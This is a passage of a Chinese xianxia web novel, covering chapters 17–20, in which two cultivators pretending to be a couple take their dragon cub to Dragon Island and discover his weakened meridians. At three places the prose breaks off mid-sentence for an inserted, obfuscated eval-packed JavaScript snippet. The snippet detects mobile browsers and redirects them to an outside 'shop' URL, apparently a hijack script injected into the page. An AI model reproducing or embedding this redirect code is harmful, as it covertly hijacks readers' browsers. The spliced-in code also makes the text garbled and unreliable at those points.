“嘘。”洛淮时指了指屋内传音道,“昭昭还没醒。” 云临川差点被口水呛到,把剩下的话也换成了传音:“我来的时候龙岛的人已经准备出发了,说就差我们三个了。” 洛淮时有些意外,而后颔首道:“飞船在哪儿?” 龙岛和万族岛相距万里之遥,光靠御剑或是凌空而行根本不现实,灵石灵气运转的巨型飞舟才是赶路的最佳载具。 云临川:“没有飞舟。” 洛淮时:“……?” 在青年异彩纷呈的脸色下,云临川半天才自暴自弃道:“他们说去龙岛最快的方式是用原形赶路,但幼崽又需要有人照看。” “所以……我们之间得有一个维持人形。” 然后,坐在另一个人脑袋上。 17. 养崽第十七天 俗话说得好,老虎屁.股摸不得,这话对龙族来说同样适用。 只不过部位换成了以龙角为中心,方圆脑袋处。 成年后龙角更是只有道侣和幼崽才能碰,其他人无缘无故触碰即为挑衅。 至于为什么不能坐在脊背上……脊背是仅次于逆鳞的存在,摸脑袋叫挑衅摸脊骨就是找死了。 “刷——” 霁雨剑出鞘半寸,透着凛冽的寒光。 洛淮时面无表情:“输的人变原形。” 云临川这次没像以往一样呛声,而是沉默观察着对面人的反应。 青年握着剑鞘的指尖微不可察地颤抖着,似乎在紧张,而这种紧张在洛淮时身上堪称百年难得一见,甚至连那双眸色疏离的金瞳也在震颤。 恐惧?怕输?不像。 更多的,像是在害怕用原形赶路。 【……我不仅讨厌龙族,我也讨厌蛇……师弟,你满意了吗?】 不知为何,云临川突然觉得心脏闷闷的,像是有人在上面捏了一把。 与此同时,两人对峙的这一幕从门缝落进了刚爬起来的幼崽眼里。 泛着寒光的剑刃映着男人幽绿的眼眸,气氛剑拔弩张。 洛云杳甚至以为自己还没睡醒,使劲儿揉了揉眼睛才意识到眼前的一切是真的。 “爹、爹爹!” 洛淮时:“……!” 下一瞬霁雨被收回了剑鞘,云临川扭头扇了自己一巴掌快速调整表情。 于是等幼崽跑到两人身边,那种仿佛下一秒就要打起来的氛围消失得无影无踪。 “你们是不是吵架了啊?”洛云杳皱着小脸,担忧地看着两人。 “怎么可能?”云临川一把抱起幼崽,让他骑在自己脖子上,“我是来接你们出发去龙岛的。” “你不是说那黑小子昨天骑他爹脖子上吗?等会儿你骑我脑袋上气死他。” 安静了几个呼吸后,男人头顶传来幼崽弱弱的抗议:“沐沐哥哥有名字……他叫轩辕明苍。” 而洛淮时彻底愣在了原地,紧紧攥着剑柄的手缓缓垂落在身侧。 驻地门口。 轩辕硕拽了拽儿子的后脚:“要不改天把你送他家去得了,怎么一点也不想在我身边待着?” 小黑龙抻直了身子也没能飞走,只好老老实实回到了父亲的肩膀上。 “我不去,那条蛇不喜欢我。” 轩辕硕:“你小子,人家就算是被逐出族群的,管人家叫蛇算什么事?” 轩辕明苍没回话,而是直勾勾盯着不远处。 两只冲天揪出现在目光中,一晃一晃得像是在水坑里洗澡的麻雀。 “昭、昭昭……” 轩辕明苍对上了“大黑蛇”趾高气昂的绿眼睛,沉思片刻,决定暂时先避其锋芒。 “好了,人也到齐了。”族长站在队伍前方竖起龙头杖,“出发吧。” 顿时几十位龙君应声而动,化作五彩流光直冲天际。 洛淮时对着幼崽招招手,下一秒,胖嘟嘟的小金龙缠上了他的手腕。 而原本云临川所在的地方,多来一条在威风凛凛的黑龙,一身鳞片在晨光下显现出溢彩的流光。 这不是洛淮时第一次见云临川的龙形,却是洛云杳第一次看见。 等到洛淮时坐上龙脑袋,冲上天的功夫,龙崽已经在龙头上转了好几圈。 等到那股兴奋劲儿过了,龙崽这才想起来关心此行的目的地。 “爹爹,龙岛要走多久能到呀?” 洛淮时:“五天五夜。” 洛云杳:“那龙岛是个什么样子的地方呀?” 洛淮时也没去过,但他在典籍里无数次读过那片神奇的土地。 “它在归墟海的最南端,是个四季如夏,阔海如金的地方。山岳高耸如云,除了龙族都是些小型妖兽,每一条在龙岛上诞生的龙崽都会在龙神的庇护下健康长大。” “可是我没有在龙岛出生……龙神会不会不喜欢昭昭啊?”幼崽的声音有些不自信,似乎有些害怕。 “当然不会。”洛淮时俯下身,点了点小金龙的脑袋,“而且就算没有龙神庇护,昭昭也会健康、快乐的长大。” “吼──” 黑色巨龙长吟一声,似乎在附和青年的话。 . 日月兼程下,龙岛近在眼前。 和古籍上写的一样,尽眼望去岛上树木繁茂,方圆千里的海水泛着粼粼金光。 等抱着幼崽落到东岸的沙滩,洛淮时下意识回头。 只见身后男人的皮肤上露出了若隐若现的裂纹,没等他细看又消失不见。 突然间,岸边的祭司吹响了脖子上的骨哨。 “哗啦”几声后,四面八方飞来数十道流光。 那些流光落地化作龙族,族长指着最前面的男人道:“这是副族长天芜,有什么琐事可以去找他。” 副族长点了点头,挂着两个黑眼圈的脸冒着森森鬼气,咳了咳才开口:“在下有礼了。” 洛云杳浑身一激灵,打开天赋顿时被黑气黑线糊了一脸,浑身鳞片炸起缩到青年脖子里:“爹、爹爹,这个叔叔好像……好像有点死掉了。” “噗嗤”一声,副族长直接笑了出来:“小友,我是鬼修,当然是死掉的。” 幼崽还不知道“鬼修”是什么,但是看见其他人都一副见怪不怪的样子,也就放心下来。 族长又指了指对面新来的龙君:“如今龙族在册的还有二百八十人,呆在龙岛的不足一百,今天算是都见过了。” “如今你二人既已带着幼崽登岛,那便先跟着副族长在岛上选处洞府。” “洞府是家的意思吗?”因为还没学会如何运用灵力传音,幼崽稚嫩的嗓音萌得对面的龙族差点维持不住端庄的表情。 “昭昭说对了。”洛淮时摸了摸幼崽的脑袋,朝副族长颔首,“有劳前辈了。” 副族长没有动,而是侧身道:“不急,给幼崽的见面礼还没送。” 一刻钟后,洛云杳的怀里堆满了储物戒,头顶只剩下一只小揪揪,因为招架不住龙族众人的热情显得整只崽皱巴巴的。 “崽!姐姐还有这个没送你!” 染着蔻丹的手递过来一只模样精巧的玉蝴蝶。 “等你学会神识控物了可以操控它飞来飞去,足不出户也能日行千里。” 洛云杳喜欢亮晶晶水亮亮的东西,顿时爱不释手主动把头递了过去:“谢谢姐姐!” 最后一只小揪揪也散开了。 “别动,爹爹帮昭昭扎起来。” 修长如玉的手放在了幼崽脑袋上,不是很熟练的开始绑发带。 云临川不知道这种事有什么好看的,可眼睛却怎么也转不动。 一大一小两张极为相似的脸摆在一起,养眼到说是和仙人带着仙童也不足为过。 这让他又一次意识到,他的师兄……给他生了个孩子。 云临川突然有些喘不上气,狠狠掐了一把大腿神色狰狞:“一定是阴谋……不可能,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479015|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可能……他怎么可能……” 注意到云临川的状况之外,化为玉簪的龙髓珠掀起眼皮:“喂,傻大个,这些天就属你消极怠工,小心我找崽告状。” 云临川顿时一激灵:“别胡说八道,你睁开眼睛看了吗?” 说完也不等龙髓珠再开口,脸色乍红乍白的男人一把抽走青年手里的发带:“另一个我来。” 半柱香后,顶着一正一歪两个冲天揪的幼崽站在光秃秃的山丘对面,震惊地瞪大了双眼:“我们要……住在这里吗?” 云临川戳了戳幼崽正着的辫子:“这可是你爹选的,难道你不想住?” 洛云杳捂住脑袋:“父亲!再戳就要散开了!” 男人坏笑着又戳了一下,成功让两只揪揪对称起来。 洛云杳:“……” 他不要和父亲玩了。 洛淮时接住“哒哒哒”跑过来的幼崽,没想到自己随手指的地方居然这么荒凉,尴尬地看向副族长:“前辈,不知能不能换一处地方?” 副族长摊手:“其实这里算是岛上灵气最浓郁的地方,就是太浓了导致寸草不生,你们实在嫌荒,可以种点耐高浓度灵气的灵植。” 这话倒是不假,不仅是两个大人能感受到荒山上充沛的灵气,就连幼崽也觉得空气舒服极了。 于是三人一拍即合,把在龙岛的住处定在了荒山。 寻常开凿洞府,是在山体里开凿石室配合空间法阵。 没等洛淮时动手,只听“轰隆”一声,山前多了座金碧辉煌的宫殿。 云临川:“现在谁还用那套老掉牙的方法,这可是器宗最新款洞天,一推就能镶嵌在山体里。” 龙髓珠忍不住了,传音洛淮时:“你就不能揍他丫的?他到底怎么活这么大的,连句话都不会说?” 洛淮时:“……” 云临川不会说人话他已经习惯了,真正的让他担心在后面。 于是在心神不宁里,夜色悄然而至,幼崽已经到了平时应该睡觉的时间。 最大的寝殿里,一黑一白两道身影相对而坐,紧绷得像拉紧的弓箭。 洛云杳“哼哧哼哧”铺好了床,看见这一幕缓缓歪了歪脑袋:“……爹爹、父亲,你们怎么不来陪昭昭睡觉啊?” 不是说好了等父亲忙完就一起陪他睡吗? “哐镗──” 初晴剑砸在了地面。 几息后,洛云杳成功躺在了双亲中间,露出尾巴晃来晃去,然后被青年捉住塞进了被子里。 就是不知道为什么,来到龙岛后父亲身上居然多出一股在龙蛋里时就感受过的气息。再加上爹爹的,两道气息环绕在身边,让幼崽恍惚间以为自己还在蛋里。 这让他兴奋地有些睡不着,可惜器宗出品的洞天连木床都是能随室温加热制冷的,于是幼崽的眼皮慢慢沉了下去。 屋内另外两人顿时长出了一口气。 就在云临川确认幼崽睡熟后,准备下地凑合凑合的时候── “爹、爹爹……” 幼崽突然翻了个身。 云临川又安详躺了回去。 几天下来,洛淮时知道这是幼崽睡不安稳的表现,于是抬手想拍一拍幼崽的后背。 一时间,他甚至忘记了这张床上还躺着第三个人。 指尖剐蹭过轮廓分明的肌肉,洛淮时动作一僵。 黑暗中,床外侧男人荧绿色的眼睛闪烁着诡异的光亮,几乎是从唇缝里挤出一道传音。 “……你摸我干什么?” 18. 养崽第十八天 “你……” 没等洛淮时把剩下的话说完,幼崽果不其然醒了过来,揉揉眼睛撑起身子,声音软乎乎的:“爹爹、父亲,你们怎么还不睡呀?” “马上就睡了。”洛淮时神色自如地抽回搭在男人胸前的手,“昭昭乖,继续睡吧。” 幼崽困得不行,睡不安稳也是因为流浪的时候需要随时警惕周围的环境,时不时就得和龙髓珠交替着守夜。 听见青年这么说也没多想,又翻了个身面对着云临川。 不一会儿,幼崽的呼吸再度平稳下来。 而洛淮时那点刚刚酝酿出来的睡意荡然无存,他也能通过云临川的呼吸听出他也没睡。 除了刚入门的时候,他为了熬赢云临川不得不和他共处一室,这还是那之后两人第一次同床共枕。 或许是因为醒过一次的缘故,身边的幼崽又开始哼哼着说梦话。 这让洛淮时突然意识到,今天并不是“第一次”。 他一直回避的事实又一次摆在他面前——他和云临川,在那消失的三十三年里,生了一个孩子。 就在洛淮时用极短的速度冷静下来,准备拍拍幼崽让他睡得更熟的时,胳膊上突然多了一道轻飘飘的力道。 洛淮时没动,就这么看着满脸震惊的男人。 “我、我只是想拍拍他……” 男人突然不说话了,快速拍了拍幼崽的后背,直挺挺躺了回去。 好一会儿,洛淮时等到了一声传音。 “……是我误会了。” 次日清晨,幼崽还没睁开眼睛就凭借着本能开始找人。 然后一头扎进了蓬松的被子。 洛云杳:“……?” “小懒龙,太阳都晒屁.股了。”云临川一把拎起被子里的龙崽,因为拎剑拎习惯了,拿起来才发现手里的不是剑,而是条货真价实的小崽子。 幼崽耷拉在男人掌心随着动作晃了晃,眼睛一亮。 好好玩,像在荡秋千! 下一秒,云临川对上了青年仿佛能杀人的眼神。 洛淮时接住龙崽乱晃的身体,语气里带着毫不掩饰的愠怒:“这样拎会让幼崽受伤,族长给你的育儿心经你到底看没看?” 洛云杳整条龙晃得晕乎乎的,察觉到空气里微妙的气氛,安静如鸡地趴在青年的胳膊上。 僵持时刻,出去鬼混的龙髓珠回来了。 它叼着从星眠那儿顺来的灵药,背上驮着族长书房藏着的极品灵茶,脚下勾着副族长的传讯符,扫了眼屋内的情况淡淡道:“呦,大早上练马步呢?” “别练了,副族长喊你们去给崽制定修炼计划。” 洛淮时蹙了蹙眉,接住龙髓珠丢来的符咒。 而趁着青年读取传讯的间隙,云临川不动声色地拿出丢在储物戒里的“育儿心经”飞速看了一遍。 . 龙族历来有把幼崽放在一起,再由族中长老□□导的习惯。 不过这些年幼崽稀少,连授课长老都耐不住寂寞满修真界乱跑,于是教育幼崽的重担就被放在了双亲肩上。 所以此次制定修炼计划除了副族长,轩辕父子作为过来人也参与了进来。 轩辕硕蹲在幼崽面前,满脸期待:“昭昭,你现在都会什么法术?” 洛云杳仔细想了想,茫然摇头:“我只会操控珠珠。” 轩辕硕:“……?” 一刻钟后,两小只蹲在海滩边的坑里开始刨沙子堆“宫殿”,而大人们在不远处围成了一圈,开始讨论到底指定什么样的修炼计划。 忙活半天,洛云杳擦了擦脸上的泥沙,看向半天只堆了一个土包的轩辕明苍:“沐沐哥哥,你住在哪里啊?我改天去找你玩。” 轩辕明苍闻言掀起眼皮,在漫天黑气里朝着身侧的“光源”移了移,直到被洛云杳身上的光亮笼罩才慢吞吞回答道:“一个石洞,给你。” 洛云杳面前多了一枚黑漆漆的龙鳞。因为主人还是幼崽,所以鳞片连边缘都是圆乎乎的,看着毫无攻击力。 龙族幼崽之间互赠龙鳞代表着“想和你成为最好的朋友”。 而举了半天龙鳞,也没见对面的人接受后,轩辕明苍整条龙都不好了,垂着脑袋浑身僵硬。 为什么不接?是不想和他成为最好的朋友……还是不喜欢他? 虽然他知道他们才认识不到几天的时间,可他就是想和他当好朋友。也只有洛云杳存在的时候,他的世界才会出现一抹亮色,不再是漫天漆黑。 短短几瞬,轩辕明苍几乎把所有可能都想了个遍,捏着龙鳞的指尖微微泛白,就是不敢抬头。 “啪嗒”。 滚烫的泪水砸在了龙鳞上,轩辕明苍吓了一跳,猛地抬头。 洛云杳眨着满是泪水的眼睛看着轩辕明苍,抽噎着说:“真、真的吗?沐沐哥哥不会觉得我很奇怪吗?我能看见那些黑气。” 当初他还没意识到观气是自己的天赋时,路过一座村子发现水里全都是黑气,就阻止村民不让他们打水。 可是没人听他的。 喝了水的村民身上也染上了黑气,收留他的人家里男主人身上的黑气最明显。于是幼崽只好把灵台的金光放在了河里、井里……可瘟疫还是爆发了。 龙髓珠告诉他这叫“天命”。 而昨天还和他分享食物的孩子捡起地面的石头砸向他,说都是因为他村子才会被“恶鬼”入侵。 “不、不奇怪,不哭!” 轩辕明苍急得话都说不利索了,毫不犹豫地掏出帕子开始给对面的糯米团子擦眼泪,擦得糯米团子变成了桃子味儿,呆愣愣坐在那儿甚至忘记了哭泣。 这让他对自己“安慰”人的能力非常满意,对着小金龙伸出手。 洛云杳搓了搓被擦红的脸,搭了上去。 下一瞬,他看见了铺天盖地的黑雾。和他的黑气不一样在,这些东西居然能发出窃窃私语,像是梦中的恶鬼般围绕在了轩辕明苍身边虎视眈眈。 “我也能看见、坏东西。”只一瞬,轩辕明苍便收回了自己的手,说得异常认真,“无视掉,就好了。” “所以,你愿不愿意当我最好的朋友?” 黑鳞又被递了过来。 这次洛云杳毫不犹豫地接过黑鳞,“砰”得一下放出尾巴,准备在上面选一枚最好看的回赠过去。 “不用,我有。”轩辕明苍不好意思地拿出自己当初在树林外捡到的金鳞,“这个、就行,我很喜欢。” 不远处,目睹了全部的家长们脸色各不相同。 副族长一边咳嗽,一边录下来“仅有的两只纯血龙崽建立友情”的精彩时刻。 轩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479016|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辕硕激动到哥俩好儿地拍着云临川的后背,而云临川随着轩辕硕的动作皮肤裂开一道又一道缝隙。 至于洛淮时……他也录了一份留影,准备找机会把幼崽觉得自己“奇怪”的心结彻底解开,最后看向云临川皲裂的肉身。 “撑不住别硬撑。”他传音着,稍微给云临川留了点面子,“需不需要我帮你联系魔宫?” 云临川:“……用不着,我调息两天就好了。” . 刚刚把黑鳞放好的洛云杳得到了一份“修炼计划”。 因为他的情况过于特殊,年纪又小,所以这份修炼计划主要围绕着灵气运用以及法术操纵展开。 灵气运用由洛淮时负责,法术操纵则是云临川。 挥别轩辕父子后,三人回到了荒山开始教学。 然后……洛淮时发现幼崽学不会法术,似乎并不是传承记忆的问题。 因为就算幼崽按照他的办法运行灵气,还是用不出一个、哪怕是“最低级”的照明术。 “昭昭,别乱动。” 幼崽努力克制着经脉里痒痒的感觉,忍不住问:“爹爹,什么时候能好呀?” “乱动一会儿就没有糕点吃了。”云临川坐在旁边吓唬着,晃着手里的桃花酥。 洛淮时有些无语:“别老吓唬他。” 云临川刚想说小孩子吓一吓怎么了,转头瞧见幼崽忽闪忽闪的大眼睛,把话咽了回去,转头拿出七八盘精致的糕点来。 “不乱动的话一会儿这些都给你。” 探查结束,幼崽顿时跑到桌边抱起糕点啃着,头顶被青年揉了揉。 “昭昭乖,你先和龙髓珠玩一会儿,爹爹和父亲出去一趟马上就回来。” 洛云杳惊得点心渣掉了满地:“不、不修炼了吗?” 可今天不是刚开始吗? “修炼急什么急?照我说的你才破壳半年,急着修炼就是那群老、”云临川险之又险把“东西”两个字咽了回去,“咳咳,小孩子多玩儿几年也没关系。” 几息后,在归墟海里撵鱼打鲸的龙髓珠被幼崽呼唤了回来。 被一黑一白两道身影反复强调不许带着幼崽下海抓鱼后,也不许乱跑后,龙髓珠趴在桌面眼珠一转:“崽,这山上有不少好东西,你想不想去探险?” 自从吞了洛淮时和云临川两道剑气,龙髓珠浑身力气没处使,沉浸在难得的“自由”里。 倒是真有点怀念每天和幼崽到处跑的日子了。 洛云杳十分心动,不过有些担心:“可是爹爹和父亲不让我们乱跑啊。” 龙髓珠:“寻宝怎么能说是乱跑?再说了我都恢复不少能量了,你怕什么?” 一炷香后,荒山顶部多了一道拎着小铲子的身影。 幼崽试图用斗篷上的帽子把自己藏起来,然后发现扯帽子的动作不仅毫无意义,还会让他看起来很傻。 “是这儿吗?”幼崽戳了戳山体上的凸起。 龙髓珠——寻宝铲版本:“就是它,快!” “咔嚓!” 一声今天巨响后,凸起应声而碎,里面露出来一颗圆滚滚的……石头? 正当幼崽蹲下身准备一探究竟时,身后传来一道幽幽的男声—— “不听话的洛昭昭小朋友,你今天晚上的点心马上就要飞走了。” 19. 养崽第十九天 “父亲!” 幼崽一哆嗦把铲子藏到了身后,结果连铲子带人都被男人拎了起来。 龙髓珠安静装死。 云临川蹙眉看着坑里的石头:“这什么玩意儿?我让你看孩子你带他出来刨垃圾?” 龙髓珠还是没忍住:“眼睛不好使就去捐了,这明明是宝贝!” 提及此处,洛云杳翻了翻法衣里的小口袋,掏出一堆“宝贝”送到云临川面前:“这些都是昭昭找到的!” 云临川放下幼崽,捏着那些个灰不拉几的玩意挨个儿看过去,发现居然真的都是些能炼器的稀有矿物。 就是地面那个玩意儿他认不出来是什么,龙髓珠也说不出个一二三四,于是随手扔进了储物戒里。 洛云杳探头探脑:“爹爹呢?” 云临川伸出胳膊:“他在祭司那儿等咱们。” 幼崽也没问为什么,乖乖变回龙形盘上了男人的手臂。 . 星眠的洞府位于龙岛南部的瀑布潭边,简陋得像是一拳凿出来的。 洛云杳坐在石墩上张开嘴,让人从头到脚顺带连牙齿都检查了一遍。 “很健康。”年轻的祭司揉了揉幼崽的脑袋,回头对着洛淮时和云临川轻轻摇了摇头。 而洛云杳顾着绑自己散开的头发,并没有看见洛淮时和云临川难看的脸色。 于是在得到了一枚甜滋滋的药丸和一把嫩草后,幼崽带着龙髓珠兴冲冲去喂角落里的肥兔子。 龙髓珠对着肥得都快走不动路的兔子翻了两个白眼,分出一缕神识闯进了洛淮时几人的传音里。 “的确是隐匿性极强的先天不足。”星眠的声音带上了几分不忍,“昭昭的经脉看似和正常人没有区别,实际上却和发丝一样细弱,灵气能流通却不能储存,更别说用出法术了。” “你确定没误诊?”云临川的声音照常带着嘲讽,“要我说你们龙岛无人,就把他带去魔宫瞧瞧。” “如果真是如此,又该怎么治?”洛淮时的声音乍听还算正常,可尾音却带着不太明显的颤抖。 龙髓珠懵了,它作为幼崽的本命法宝怎么不知道这事儿? 于是趁着幼崽跳进围栏和兔子一起玩儿,龙髓珠小心翼翼分出一丝能量在幼崽的经脉里面转了一圈。 没有问题。 两圈、三圈……直到第八圈,原本粗壮的经脉在它眼前骤然收缩,于此同时,幼崽捂着嘴巴咳了咳! 只是一瞬,经脉又恢复了正常。 “……是血脉提纯出了问题。” 没等到星眠狂翻医书翻出个名堂,三人被突然发声的龙髓珠吓了一跳。 洛淮时:“可你不是说提纯血脉的后遗症能随着肉身成长自愈吗?经脉又是怎么一回事?” “我也不知道。”龙髓珠从没这么不自信过,“我只能确认崽现在还能跑能跳,是因为体内那点来自龙神的力量还没消耗殆尽。” “一旦神力消失……经脉也会被打回原形。” . 忙着和胖兔子玩拔河的洛云杳对自己身体的变化一无所知,咳嗽两下也以为是昨天半夜跑到洛淮时头顶睡觉吹了风,有些着凉。 所以在爹爹和父亲说要去找族长领取月俸的时候,幼崽抱着肥兔子挥了挥手,顶着两个冲天辫让他们快点回来接他。 等到洛淮时两人走到族长的洞府时,却见族长早早等在了门口。 族长:“我知道你们想问什么,不过先跟我来。” 两人对视一眼,跟着族长走过数道弯曲小路,开了七八个结界最后来到了一片星海。 星子游荡在密闭的空间里,每每凑近都会惹得群星四散,洛淮时不敢轻举妄动:“这是……” “这是龙族的圣地,龙脉星宫。” 说话的是云临川,他扫了一圈星海,又道:“每一颗星星都是存在过的纯血龙族,而星海尽头摆着龙神脊骨打造的雕像。” “每到冬日初九,雕像就会从地底升起沐浴暖阳,而龙族会准备一场空前祭祀,运气好一点能得到龙神的回应。” 洛淮时蹙着眉,不解道:“那您带我们来着儿想说什么?” “嗷呜——” 下巴突然被什么东西碰了一下。 青年愣了愣,低头望过去,看见了一颗灰蒙蒙、胖乎乎的星星。 心尖泛起涟漪,洛淮时抬起手把星星接到掌心,不确定道:“……昭昭?” 似乎是听懂了他的话,星星闪烁两下从左手跳到右手,最后不小心摔了个屁墩,发出类似幼崽的呜咽声。 这让洛淮时忍不住一惊,食指轻轻擦拭着星星满溢出来的水痕:“摔哪里了?爹爹给你揉揉好不好?” 可惜星星不会说话,只能“嘤嘤”哭着蹭着青年的指腹。 而不远处的云临川瞧见此情此景,愈发觉得自己像个外人。 不,是透明人。 “啪嗒”,脖颈毫无预兆地掉下一块儿失去生机的灵药。 云临川淡定地取了新皮重新粘合,抬头却见原本和青年撒娇得正起劲儿的星星“刷”一下站了起来,长出海星一样的触手勾住青年的手指,把他朝着自己的地方拽。 星星“哼哧哼哧”努力半天,终于把青年拽到了男人面前。 族长见状咳了咳:“这是昭昭的命星,不仅显示着本体的状态,同样也能影响到本体的情绪。” “每一个出生的幼崽,他们的双亲都会到星宫和幼崽的命星见上一面,这是一直以来的传统。” 洛淮时抬着被命星放在男人面前的手,抿着唇,犹豫着要不要违背命星的“期待”把手抽回来。 “你干嘛?”云临川一把拽住了青年微凉的手,心脏突突直跳,“……别忘了我们之间还有天道咒,昭昭的命星还看着呢。” 果不其然,两人的手搭上刹那,命星仿佛功成身退般坐到了青年头顶,在银白地发丝里收拾出来一个舒适的“窝”。 云临川觉得自己灵药捏出来的心脏快要跳炸了。 掌心的手指骨节分明又纤细莹润,摸着……很舒服。 “好了。”洛淮时忍到了极限,一把抽回自己的手。 星海中间,族长见状笑呵呵招了招手,于是刚刚安家的星星恋恋不舍离开了青年的脑袋。 “知道昭昭为什么会有经脉细弱的先天不足吗?”族长捧着星星走着,每走一步就会有几颗星星跟在他身后。 两人不约而同屏住了呼吸。 “因为‘因果’。你们拿了龙髓珠逆天改命是因,果……幼崽自己当然也得偿还。” 云临川本就看不上龙族时刻高人一头的做派,闻言直接道:“老头,你是不是知道些什么?别跟我打哑谜。” 族长捋了把胡子:“我只是实话实说。” 洛淮时动了动眸子,问:“那您知道怎么了却这份因果,让昭昭的经脉恢复正常吗?” 族长:“暂时还不知道。” 洛淮时:“……” 云临川:“……?” 族长:“不过我早就请了当世医仙来龙岛问诊,稍等些时日就能登岛了。” 当世医仙叶南冥,世称“妙手仙”,一手医术出神入化堪称活死人. 肉白骨,无数大能捧着灵石法宝排队等他看病,可惜这人进阶渡劫后不知所踪。 没想到族长居然能把他喊过来。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479017|201641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早?有多早?”云临川眯了眯眼睛,绿眸闪烁着锐利的精光,“半年前?” 洛淮时下意识攥紧了剑柄。 族长:“那倒没有,昭昭的命星先前被隐没在群星之下,还是青禾寄了信过来,我才知道龙族多了只幼崽。” 洛淮时松开了霁雨剑,可还是不放心:“得等多久?” 族长:“两三个月。” 两人稍微落下的心再度提到了嗓子眼。 云临川顿时炸了:“什么破烂医仙?两三个月就是王八也能爬到龙岛了!” . 又大又圆的龟甲摆在医书上。 “咳咳……咳。”洛云杳摸了摸额头和脖子,没感觉出来热才放下手,指着龟甲问,“星眠哥哥,龟甲不是龟龟的家吗?为什么要拿它入药?” “因为龟龟很善良,死后把自己的壳变成药用来救人。”星眠随口回着,在箱子里一块儿又一块儿地翻玉简,试图找到治愈经脉细弱的方法。 结果一无所获,这病本来就罕见,有记载的里面无一例外全都是这辈子放弃修仙。 好在没等他崩溃到以头抢地,终于等来了救星。 “怎么样怎么样?” 洛淮时把族长早就做好的谋划告诉了星眠,抱起幼崽转身离开,看都没看身后的男人一眼。 星眠:“你们吵架了?” 云临川捻了捻指腹,顺走了幼崽刚才看得兴致勃勃的医书:“害羞了。” 星眠:“……?” 荒山。 洛云杳刚落地就得知自己先不用修炼的消息。 对此,幼崽其实是有点小遗憾的。 好在这个年纪的幼崽相比修炼,显然对新奇事物更感兴趣。于是在被爹爹和父亲带着玩了几天后,洛云杳完全忘记了修炼这码事。 轩辕硕了解内情后也大手一挥,给自家儿子放了假,给洛淮时三人当起了向导,专门带他们去龙岛稀奇古怪又好玩的地方。 就是看来看去,怎么看这“一家三口”怎么奇怪,连轩辕明苍都跑过来问他洛淮时和云临川是不是吵架了。 “怎么这么问?”轩辕硕有些忐忑,因为轩辕明苍不能撒谎,所以他压根没告诉他这俩人是在假扮道侣。 但连轩辕明苍都看出来问题了,说明这俩人假扮道侣的水平确实差到出奇。 轩辕明苍嫌弃自己说话慢,直接用法术写了出来:“他们一直在避免眼神对视、身体接触,甚至距离不会小于一尺。” “您不是说当初和爹爹在一起时几乎每天都黏在一起吗?他们这样……根本不像道侣。” 轩辕硕眼中划过一丝怀恋和悲伤,接着挠挠头一本正经道:“儿子,你要允许有人的感情就是这么克制。” “你看云老弟虽然不和洛道友黏在一起,可他的眼睛是看着他的。” 轩辕明苍闻言看了过去,只见潺潺溪水边,幼崽和男人在水里抓着鱼,而男人时不时就回头看一眼坐在岸边安静擦剑的青年。 “可是……” “别可是,听话。”轩辕硕一把捂住儿子的嘴,在他耳边小声说着,“你可千万别和昭昭乱说,没影的事把他吓哭了怎么办?” 轩辕明苍眨眨眼,没出声也没反驳。 轩辕硕松了一口气,不和他犟嘴说明轩辕明苍已经“认可”了他的说法,于是松开自家儿子继续处理刚才捞上来的灵鱼。 酒足饭饱后,两家人一拍即合准备在溪水旁就地扎营一晚,明天继续向北前进。 等到夜深人静,原本老老实实睡觉的小黑龙“刷”一下睁开眼睛。 于此同时,隔壁帐篷里幼崽项链上的黑鳞突然划过一道微不可察的金光。 20. 养崽第二十天 洛云杳的梦里突然多了一条黑漆漆的小龙。 他做过很多梦。 有时候会在山野里尽情奔跑,有时候变成龙形遨游天际,过去更多的梦围绕着两道模糊不清的影子。 那是他不曾谋面的双亲。 后来他找到了他的爹爹和父亲,于是梦里的影子不见了。 他没想到自己梦到的第三个人会是轩辕明苍。 “沐沐哥哥!” 洛云杳听见自己喊着,甚至没注意到自己居然清楚这是个梦。 小黑龙在呼唤里变回了幼崽模样,抓住了他的手腕。 “快来,我带你去看你的记忆识海。” 洛云杳瞪圆了眼睛:“沐沐哥哥,你今天说话好流畅!不过什么是记忆识海呀?” 轩辕明苍:“识海二分,其一为洞天灵府,其二为记忆识海。前者存放着神识、灵根、道统……后者存放着落地后的所有记忆。” 说话间,两人已经来到了一处顶天立地的木门前。 木门半枯半荣,把手刚刚好洛云杳一抬胳膊就能够到。 “今天的梦怎么这么像真的……”幼崽自言自语着,两颊的肉突然一紧。 “咦?沐沐哥哥、泥捏窝做什么?”洛云杳被捏成了金鱼嘴。 “不是梦,是我鳞片上的神识来到了你的识海做客。”轩辕明苍松开手,又让洛云杳捏了捏他的脸。 热的、很软,是之前梦里从来没有过的触感。 